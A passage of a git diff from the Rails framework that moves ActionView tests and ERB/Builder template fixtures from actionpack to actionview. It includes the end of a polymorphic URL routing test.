+ with_admin_test_routes do
+ assert_url "http://example.com/admin/taxes", [:admin, @tax.class]
+ end
+ end
+
+ def test_unsaved_with_irregular_plural_array_and_namespace
+ with_admin_test_routes do
+ assert_url "http://example.com/admin/taxes", [:admin, @tax]
+ end
+ end
+
+ def test_nesting_with_irregular_plurals_and_array_ending_in_singleton_resource
+ with_test_routes do
+ @tax.save
+ assert_url "http://example.com/taxes/#{@tax.id}/bid", [@tax, :bid]
+ end
+ end
+
+ def test_with_array_containing_single_irregular_plural_object
+ with_test_routes do
+ @tax.save
+ assert_url "http://example.com/taxes/#{@tax.id}", [@tax]
+ end
+ end
+
+ def test_with_array_containing_single_name_irregular_plural
+ with_test_routes do
+ @tax.save
+ assert_url "http://example.com/taxes", [:taxes]
+ end
+ end
+
+ # Tests for uncountable names
+ def test_uncountable_resource
+ with_test_routes do
+ @series.save
+ assert_url "http://example.com/series/#{@series.id}", @series
+ assert_url "http://example.com/series", Series.new
+ end
+ end
+
+ def test_routing_a_to_model_delegate
+ with_test_routes do
+ @delegator.save
+ assert_url "http://example.com/model_delegates/overridden", @delegator
+ end
+ end
+
+ def with_namespaced_routes(name)
+ with_routing do |set|
+ set.draw do
+ scope(:module => name) do
+ resources :blogs do
+ resources :posts do
+ resources :faxes
+ end
+ end
+ resources :posts
+ end
+ end
+
+ extend @routes.url_helpers
+ yield
+ end
+ end
+
+ def with_test_routes(options = {})
+ with_routing do |set|
+ set.draw do
+ resources :projects do
+ resources :tasks
+ resource :bid do
+ resources :tasks
+ end
+ end
+ resources :taxes do
+ resources :faxes
+ resource :bid
+ end
+ resources :series
+ resources :model_delegates
+ end
+
+ extend @routes.url_helpers
+ yield
+ end
+ end
+
+ def with_top_level_and_nested_routes(options = {})
+ with_routing do |set|
+ set.draw do
+ resources :blogs do
+ resources :posts
+ resources :series
+ end
+ resources :posts
+ end
+
+ extend @routes.url_helpers
+ yield
+ end
+ end
+
+ def with_admin_test_routes(options = {})
+ with_routing do |set|
+ set.draw do
+ namespace :admin do
+ resources :projects do
+ resources :tasks
+ resource :bid do
+ resources :tasks
+ end
+ end
+ resources :taxes do
+ resources :faxes
+ end
+ resources :series
+ end
+ end
+
+ extend @routes.url_helpers
+ yield
+ end
+ end
+
+ def with_admin_and_site_test_routes(options = {})
+ with_routing do |set|
+ set.draw do
+ namespace :admin do
+ resources :projects do
+ namespace :site do
+ resources :tasks do
+ resources :steps
+ end
+ end
+ end
+ end
+ end
+
+ extend @routes.url_helpers
+ yield
+ end
+ end
+end
+
+class PolymorphicPathRoutesTest < PolymorphicRoutesTest
+ include ActionView::RoutingUrlFor
+ include ActionView::Context
+
+ attr_accessor :controller
+
+ def assert_url(url, args)
+ host = self.class.default_url_options[:host]
+
+ assert_equal url.sub(/http:\/\/#{host}/, ''), url_for(args)
+ end
+end
diff --git a/actionpack/test/activerecord/render_partial_with_record_identification_test.rb b/actionview/test/activerecord/render_partial_with_record_identification_test.rb
index 409370104d..409370104d 100644
--- a/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
+++ b/actionview/test/activerecord/render_partial_with_record_identification_test.rb
diff --git a/actionpack/test/fixtures/_top_level_partial.html.erb b/actionview/test/fixtures/_top_level_partial.html.erb
index 0b1c2e46e0..0b1c2e46e0 100644
--- a/actionpack/test/fixtures/_top_level_partial.html.erb
+++ b/actionview/test/fixtures/_top_level_partial.html.erb
diff --git a/actionview/test/fixtures/_top_level_partial_only.erb b/actionview/test/fixtures/_top_level_partial_only.erb
new file mode 100644
index 0000000000..44f25b61d0
--- /dev/null
+++ b/actionview/test/fixtures/_top_level_partial_only.erb
@@ -0,0 +1 @@
+top level partial \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb b/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb
new file mode 100644
index 0000000000..d22af431ec
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/customers/_customer.html.erb b/actionview/test/fixtures/actionpack/customers/_customer.html.erb
index 483571e22a..483571e22a 100644
--- a/actionpack/test/fixtures/customers/_customer.html.erb
+++ b/actionview/test/fixtures/actionpack/customers/_customer.html.erb
diff --git a/actionpack/test/fixtures/fun/games/_form.erb b/actionview/test/fixtures/actionpack/fun/games/_form.erb
index 01107f1cb2..01107f1cb2 100644
--- a/actionpack/test/fixtures/fun/games/_form.erb
+++ b/actionview/test/fixtures/actionpack/fun/games/_form.erb
diff --git a/actionpack/test/fixtures/fun/games/hello_world.erb b/actionview/test/fixtures/actionpack/fun/games/hello_world.erb
index 1ebfbe2539..1ebfbe2539 100644
--- a/actionpack/test/fixtures/fun/games/hello_world.erb
+++ b/actionview/test/fixtures/actionpack/fun/games/hello_world.erb
diff --git a/actionpack/test/fixtures/good_customers/_good_customer.html.erb b/actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb
index a2d97ebc6d..a2d97ebc6d 100644
--- a/actionpack/test/fixtures/good_customers/_good_customer.html.erb
+++ b/actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb
diff --git a/actionpack/test/fixtures/hello.html b/actionview/test/fixtures/actionpack/hello.html
index 6769dd60bd..6769dd60bd 100644
--- a/actionpack/test/fixtures/hello.html
+++ b/actionview/test/fixtures/actionpack/hello.html
diff --git a/actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb
index 121bc079a1..121bc079a1 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/item.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb
index 60f04d77d5..60f04d77d5 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/item.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/layout_test.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb
index b74ac0840d..b74ac0840d 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/layout_test.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb
index 3b65e54f9c..3b65e54f9c 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb
new file mode 100644
index 0000000000..bda57d0fae
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb
@@ -0,0 +1,5 @@
+This is my layout
+
+<%= yield %>
+
+End.
diff --git a/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab b/actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab
index fcee620d82..fcee620d82 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab
diff --git a/actionpack/test/fixtures/layout_tests/views/goodbye.erb b/actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb
index 4ee911188e..4ee911188e 100644
--- a/actionpack/test/fixtures/layout_tests/views/goodbye.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb
diff --git a/actionpack/test/fixtures/layout_tests/views/hello.erb b/actionview/test/fixtures/actionpack/layout_tests/views/hello.erb
index 4ee911188e..4ee911188e 100644
--- a/actionpack/test/fixtures/layout_tests/views/hello.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/views/hello.erb
diff --git a/actionpack/test/fixtures/layouts/_column.html.erb b/actionview/test/fixtures/actionpack/layouts/_column.html.erb
index 96db002b8a..96db002b8a 100644
--- a/actionpack/test/fixtures/layouts/_column.html.erb
+++ b/actionview/test/fixtures/actionpack/layouts/_column.html.erb
diff --git a/actionview/test/fixtures/actionpack/layouts/_customers.erb b/actionview/test/fixtures/actionpack/layouts/_customers.erb
new file mode 100644
index 0000000000..ae63f13cd3
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title> \ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/_partial_and_yield.erb b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
index 74cc428ffa..74cc428ffa 100644
--- a/actionpack/test/fixtures/layouts/_partial_and_yield.erb
+++ b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
diff --git a/actionpack/test/fixtures/layouts/_yield_only.erb b/actionview/test/fixtures/actionpack/layouts/_yield_only.erb
index 37f0bddbd7..37f0bddbd7 100644
--- a/actionpack/test/fixtures/layouts/_yield_only.erb
+++ b/actionview/test/fixtures/actionpack/layouts/_yield_only.erb
diff --git a/actionpack/test/fixtures/layouts/_yield_with_params.erb b/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb
index 68e6557fb8..68e6557fb8 100644
--- a/actionpack/test/fixtures/layouts/_yield_with_params.erb
+++ b/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb
diff --git a/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb b/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb
new file mode 100644
index 0000000000..73ac833e52
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Anthony" }) do %>Inside from first block in layout<% "Return value should be discarded" %><% end %>
+<%= yield %>
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Ramm" }) do %>Inside from second block in layout<% end %>
diff --git a/actionview/test/fixtures/actionpack/layouts/builder.builder b/actionview/test/fixtures/actionpack/layouts/builder.builder
new file mode 100644
index 0000000000..7c7d4b2dd1
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/builder.builder
@@ -0,0 +1,3 @@
+xml.wrapper do
+ xml << yield
+end \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb b/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb
new file mode 100644
index 0000000000..a0349d731e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Anthony' } ) %>
+<%= yield %>
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Ramm' } ) %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/standard.html.erb b/actionview/test/fixtures/actionpack/layouts/standard.html.erb
new file mode 100644
index 0000000000..5e6c24fe39
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/standard.html.erb
@@ -0,0 +1 @@
+<html><%= yield %><%= @variable_for_layout %></html> \ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/streaming.erb b/actionview/test/fixtures/actionpack/layouts/streaming.erb
index d3f896a6ca..d3f896a6ca 100644
--- a/actionpack/test/fixtures/layouts/streaming.erb
+++ b/actionview/test/fixtures/actionpack/layouts/streaming.erb
diff --git a/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb b/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb
new file mode 100644
index 0000000000..bf53fdb785
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb
@@ -0,0 +1,2 @@
+<title><%= @title || yield(:title) %></title>
+<%= yield -%> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
new file mode 100644
index 0000000000..fd2896aeaa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "partial_only_html" %><%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/xhr.html.erb b/actionview/test/fixtures/actionpack/layouts/xhr.html.erb
new file mode 100644
index 0000000000..85285324ec
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/xhr.html.erb
@@ -0,0 +1,2 @@
+XHR!
+<%= yield %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/yield.erb b/actionview/test/fixtures/actionpack/layouts/yield.erb
new file mode 100644
index 0000000000..482dc9022e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
index 7298d79690..7298d79690 100644
--- a/actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb
+++ b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
diff --git a/actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
index 74cc428ffa..74cc428ffa 100644
--- a/actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb
+++ b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
diff --git a/actionpack/test/fixtures/quiz/questions/_question.html.erb b/actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb
index fb4dcfee64..fb4dcfee64 100644
--- a/actionpack/test/fixtures/quiz/questions/_question.html.erb
+++ b/actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb
diff --git a/actionview/test/fixtures/actionpack/shared.html.erb b/actionview/test/fixtures/actionpack/shared.html.erb
new file mode 100644
index 0000000000..af262fc9f8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/shared.html.erb
@@ -0,0 +1 @@
+Elastica \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_changing_priority.html.erb b/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb
index 3225efc49a..3225efc49a 100644
--- a/actionpack/test/fixtures/test/_changing_priority.html.erb
+++ b/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb
diff --git a/actionpack/test/fixtures/test/_changing_priority.json.erb b/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb
index 7fa41dce66..7fa41dce66 100644
--- a/actionpack/test/fixtures/test/_changing_priority.json.erb
+++ b/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb
diff --git a/actionpack/test/fixtures/test/_counter.html.erb b/actionview/test/fixtures/actionpack/test/_counter.html.erb
index fd245bfc70..fd245bfc70 100644
--- a/actionpack/test/fixtures/test/_counter.html.erb
+++ b/actionview/test/fixtures/actionpack/test/_counter.html.erb
diff --git a/actionpack/test/fixtures/test/_customer.erb b/actionview/test/fixtures/actionpack/test/_customer.erb
index d8220afeda..d8220afeda 100644
--- a/actionpack/test/fixtures/test/_customer.erb
+++ b/actionview/test/fixtures/actionpack/test/_customer.erb
diff --git a/actionpack/test/fixtures/test/_customer_counter.erb b/actionview/test/fixtures/actionpack/test/_customer_counter.erb
index 3435979dba..3435979dba 100644
--- a/actionpack/test/fixtures/test/_customer_counter.erb
+++ b/actionview/test/fixtures/actionpack/test/_customer_counter.erb
diff --git a/actionpack/test/fixtures/test/_customer_counter_with_as.erb b/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb
index 1241eb604d..1241eb604d 100644
--- a/actionpack/test/fixtures/test/_customer_counter_with_as.erb
+++ b/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb
diff --git a/actionpack/test/fixtures/test/_customer_greeting.erb b/actionview/test/fixtures/actionpack/test/_customer_greeting.erb
index 6acbcb20c4..6acbcb20c4 100644
--- a/actionpack/test/fixtures/test/_customer_greeting.erb
+++ b/actionview/test/fixtures/actionpack/test/_customer_greeting.erb
diff --git a/actionview/test/fixtures/actionpack/test/_customer_iteration.erb b/actionview/test/fixtures/actionpack/test/_customer_iteration.erb
new file mode 100644
index 0000000000..fb530b04a7
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_iteration.erb
@@ -0,0 +1 @@
+<%= customer_iteration_iteration.size %>-<%= customer_iteration_iteration.index %>: <%= customer_iteration.name %><%= '-first' if customer_iteration_iteration.first? %><%= '-last' if customer_iteration_iteration.last? %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb b/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb
new file mode 100644
index 0000000000..57297d0564
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb
@@ -0,0 +1 @@
+<%= client_iteration.size %>-<%= client_iteration.index %>: <%= client.name %><%= '-first' if client_iteration.first? %><%= '-last' if client_iteration.last? %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_with_var.erb b/actionview/test/fixtures/actionpack/test/_customer_with_var.erb
index 00047dd20e..00047dd20e 100644
--- a/actionpack/test/fixtures/test/_customer_with_var.erb
+++ b/actionview/test/fixtures/actionpack/test/_customer_with_var.erb
diff --git a/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb b/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb
new file mode 100644
index 0000000000..1cc8d41475
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb
@@ -0,0 +1 @@
+Hello <%= name %>
diff --git a/actionpack/test/fixtures/test/_first_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
index 790ee896db..790ee896db 100644
--- a/actionpack/test/fixtures/test/_first_json_partial.json.erb
+++ b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
diff --git a/actionpack/test/fixtures/test/_form.erb b/actionview/test/fixtures/actionpack/test/_form.erb
index 01107f1cb2..01107f1cb2 100644
--- a/actionpack/test/fixtures/test/_form.erb
+++ b/actionview/test/fixtures/actionpack/test/_form.erb
diff --git a/actionpack/test/fixtures/test/_hash_greeting.erb b/actionview/test/fixtures/actionpack/test/_hash_greeting.erb
index fc54a36f2a..fc54a36f2a 100644
--- a/actionpack/test/fixtures/test/_hash_greeting.erb
+++ b/actionview/test/fixtures/actionpack/test/_hash_greeting.erb
diff --git a/actionpack/test/fixtures/test/_hash_object.erb b/actionview/test/fixtures/actionpack/test/_hash_object.erb
index 34a92c6a56..34a92c6a56 100644
--- a/actionpack/test/fixtures/test/_hash_object.erb
+++ b/actionview/test/fixtures/actionpack/test/_hash_object.erb
diff --git a/actionpack/test/fixtures/test/_hello.builder b/actionview/test/fixtures/actionpack/test/_hello.builder
index ef52f632d1..ef52f632d1 100644
--- a/actionpack/test/fixtures/test/_hello.builder
+++ b/actionview/test/fixtures/actionpack/test/_hello.builder
diff --git a/actionpack/test/fixtures/test/_json_change_priority.json.erb b/actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/test/_json_change_priority.json.erb
+++ b/actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb
diff --git a/actionpack/test/fixtures/test/_labelling_form.erb b/actionview/test/fixtures/actionpack/test/_labelling_form.erb
index 1b95763165..1b95763165 100644
--- a/actionpack/test/fixtures/test/_labelling_form.erb
+++ b/actionview/test/fixtures/actionpack/test/_labelling_form.erb
diff --git a/actionpack/test/fixtures/test/_layout_for_partial.html.erb b/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb
index 666efadbb6..666efadbb6 100644
--- a/actionpack/test/fixtures/test/_layout_for_partial.html.erb
+++ b/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb
diff --git a/actionview/test/fixtures/actionpack/test/_partial.erb b/actionview/test/fixtures/actionpack/test/_partial.erb
new file mode 100644
index 0000000000..e466dcbd8e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.erb
@@ -0,0 +1 @@
+invalid \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.html.erb b/actionview/test/fixtures/actionpack/test/_partial.html.erb
new file mode 100644
index 0000000000..e39f6c9827
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.js.erb b/actionview/test/fixtures/actionpack/test/_partial.js.erb
new file mode 100644
index 0000000000..b350cdd7ef
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb b/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb
index 3a03a64e31..3a03a64e31 100644
--- a/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb
+++ b/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb
diff --git a/actionpack/test/fixtures/test/_partial_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb
index 4b54875782..4b54875782 100644
--- a/actionpack/test/fixtures/test/_partial_html_erb.html.erb
+++ b/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb
diff --git a/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb b/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb
new file mode 100644
index 0000000000..cc3a91c89f
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb
@@ -0,0 +1 @@
+<%= partial_name_local_variable %>
diff --git a/actionpack/test/fixtures/test/_partial_only.erb b/actionview/test/fixtures/actionpack/test/_partial_only.erb
index a44b3eed40..a44b3eed40 100644
--- a/actionpack/test/fixtures/test/_partial_only.erb
+++ b/actionview/test/fixtures/actionpack/test/_partial_only.erb
diff --git a/actionpack/test/fixtures/test/_partial_only_html.html b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
index d2d630bd40..d2d630bd40 100644
--- a/actionpack/test/fixtures/test/_partial_only_html.html
+++ b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
diff --git a/actionpack/test/fixtures/test/_partial_with_partial.erb b/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb
index ee0d5037b6..ee0d5037b6 100644
--- a/actionpack/test/fixtures/test/_partial_with_partial.erb
+++ b/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb
diff --git a/actionpack/test/fixtures/test/_person.erb b/actionview/test/fixtures/actionpack/test/_person.erb
index b2e5688956..b2e5688956 100644
--- a/actionpack/test/fixtures/test/_person.erb
+++ b/actionview/test/fixtures/actionpack/test/_person.erb
diff --git a/actionpack/test/fixtures/test/_raise_indentation.html.erb b/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb
index f9a93728fe..f9a93728fe 100644
--- a/actionpack/test/fixtures/test/_raise_indentation.html.erb
+++ b/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb
diff --git a/actionpack/test/fixtures/test/_second_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb
index 5ebb7f1afd..5ebb7f1afd 100644
--- a/actionpack/test/fixtures/test/_second_json_partial.json.erb
+++ b/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb
diff --git a/actionpack/test/fixtures/test/action_talk_to_layout.erb b/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb
index 36e896daa8..36e896daa8 100644
--- a/actionpack/test/fixtures/test/action_talk_to_layout.erb
+++ b/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb
diff --git a/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb b/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb
index ac44bc0d81..ac44bc0d81 100644
--- a/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb
+++ b/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb
diff --git a/actionpack/test/fixtures/test/capturing.erb b/actionview/test/fixtures/actionpack/test/capturing.erb
index 1addaa40d9..1addaa40d9 100644
--- a/actionpack/test/fixtures/test/capturing.erb
+++ b/actionview/test/fixtures/actionpack/test/capturing.erb
diff --git a/actionpack/test/fixtures/test/change_priorty.html.erb b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
index 5618977d05..5618977d05 100644
--- a/actionpack/test/fixtures/test/change_priorty.html.erb
+++ b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
diff --git a/actionpack/test/fixtures/test/content_for.erb b/actionview/test/fixtures/actionpack/test/content_for.erb
index 1fb829f54c..1fb829f54c 100644
--- a/actionpack/test/fixtures/test/content_for.erb
+++ b/actionview/test/fixtures/actionpack/test/content_for.erb
diff --git a/actionpack/test/fixtures/test/content_for_concatenated.erb b/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb
index e65f629574..e65f629574 100644
--- a/actionpack/test/fixtures/test/content_for_concatenated.erb
+++ b/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb
diff --git a/actionpack/test/fixtures/test/content_for_with_parameter.erb b/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb
index aeb6f73ce0..aeb6f73ce0 100644
--- a/actionpack/test/fixtures/test/content_for_with_parameter.erb
+++ b/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb
diff --git a/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionpack/test/fixtures/test/formatted_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
index 1c64efabd8..1c64efabd8 100644
--- a/actionpack/test/fixtures/test/formatted_html_erb.html.erb
+++ b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
new file mode 100644
index 0000000000..14fd3549fb
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
@@ -0,0 +1 @@
+xml.test 'failed' \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
new file mode 100644
index 0000000000..0c855a604b
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
@@ -0,0 +1 @@
+<test>passed formatted html erb</test> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb
new file mode 100644
index 0000000000..6ca09d5304
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb
@@ -0,0 +1 @@
+<test>passed formatted xml erb</test> \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/greeting.html.erb b/actionview/test/fixtures/actionpack/test/greeting.html.erb
index 62fb0293f0..62fb0293f0 100644
--- a/actionpack/test/fixtures/test/greeting.html.erb
+++ b/actionview/test/fixtures/actionpack/test/greeting.html.erb
diff --git a/actionpack/test/fixtures/test/greeting.xml.erb b/actionview/test/fixtures/actionpack/test/greeting.xml.erb
index 62fb0293f0..62fb0293f0 100644
--- a/actionpack/test/fixtures/test/greeting.xml.erb
+++ b/actionview/test/fixtures/actionpack/test/greeting.xml.erb
diff --git a/actionpack/test/fixtures/test/hello,world.erb b/actionview/test/fixtures/actionpack/test/hello,world.erb
index bc8fa5e0ca..bc8fa5e0ca 100644
--- a/actionpack/test/fixtures/test/hello,world.erb
+++ b/actionview/test/fixtures/actionpack/test/hello,world.erb
diff --git a/actionpack/test/fixtures/test/hello.builder b/actionview/test/fixtures/actionpack/test/hello.builder
index a471553941..a471553941 100644
--- a/actionpack/test/fixtures/test/hello.builder
+++ b/actionview/test/fixtures/actionpack/test/hello.builder
diff --git a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb b/actionview/test/fixtures/actionpack/test/hello/hello.erb
index 6769dd60bd..6769dd60bd 100644
--- a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb
+++ b/actionview/test/fixtures/actionpack/test/hello/hello.erb
diff --git a/actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb b/actionview/test/fixtures/actionpack/test/hello_world.erb
index 6769dd60bd..6769dd60bd 100644
--- a/actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb
+++ b/actionview/test/fixtures/actionpack/test/hello_world.erb
diff --git a/actionpack/test/fixtures/test/hello_world_container.builder b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
index e48d75c405..e48d75c405 100644
--- a/actionpack/test/fixtures/test/hello_world_container.builder
